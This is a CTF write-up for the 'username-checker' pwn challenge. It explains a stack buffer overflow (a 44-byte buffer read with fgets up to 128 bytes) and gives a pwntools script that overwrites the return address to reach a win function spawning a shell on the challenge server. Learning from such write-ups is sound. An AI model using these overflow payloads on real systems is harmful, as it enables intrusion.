osu!gaming ctf 2025: username-checker (pwn)

checksec

pwndbg> checksec
File:     /home/mei/checker
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

as we can tell, this binary has no protection (except of NX bit set).

disassembly

looking at the main function, we have

alt text

so it just prints out the text ~-~ username-checker ~-~ and call ~-~ username-checker ~-~

check_username()

alt text

let’s have a look at the pseudo c code:

__int64 check_username()
{
  size_t v1; // rbx
  char s[44]; // [rsp+0h] [rbp-40h] BYREF
  int i; // [rsp+2Ch] [rbp-14h]

  printf("please enter a username you want to check: ");
  fgets(s, 128, stdin);
  s[strcspn(s, "\n")] = 0;
  if ( strlen(s) <= 0xF )
  {
    for ( i = 0; ; ++i )
    {
      v1 = i;
      if ( v1 >= strlen(s) )
        break;
      if ( ((*__ctype_b_loc())[s[i]] & 8) == 0 && s[i] != 95 && s[i] != 91 && s[i] != 93 && s[i] != 45 && s[i] != 32 )
      {
        puts("username contains invalid characters");
        return 1;
      }
    }
    if ( !strcmp(s, "super_secret_username") )
      win();
    else
      puts("username is valid!");
    return 0;
  }
  else
  {
    puts("username is too long");
    return 1;
  }
}

ah hah, so it’s classsic buffer overflow, why though?

we have string s with size of 44, but it’s reading up to 128 from fgets. let’s check the win function

alt text

it’s printing out how did you get here? and call return system(/bin/sh)

exploitation

load the binary into pwndbg pwndbg ./checker

alt text

the binary isn’t stripped, we can see everything

let’s generate cyclic chars really quick, take the input and send it to the program

alt text

perfect, it crashed, we’ll see the backtrace really quick

alt text

find the offset

alt text

great, let’s keep going :)

find return address

we need to find the return address to align with the stack

alt text

we’ll use 0x000000000040101a

exploitation

from the info above, we can come up with exploitation like so:

offset = 72 ret = 0x000000000040101a win = 0x0000000000401236

final exp script:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template

from pwn import *
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())

io = remote('username-checker.challs.sekai.team', 1337)
win = 0x401236
ret = 0x000000000040101a

payload = b'A'* 72 + p64(ret) + p64(win)

io.sendafter(b'check: ', payload)
io.interactive()

gg:

alt text

twilight's home

pwn/web/dfir


2026-01-15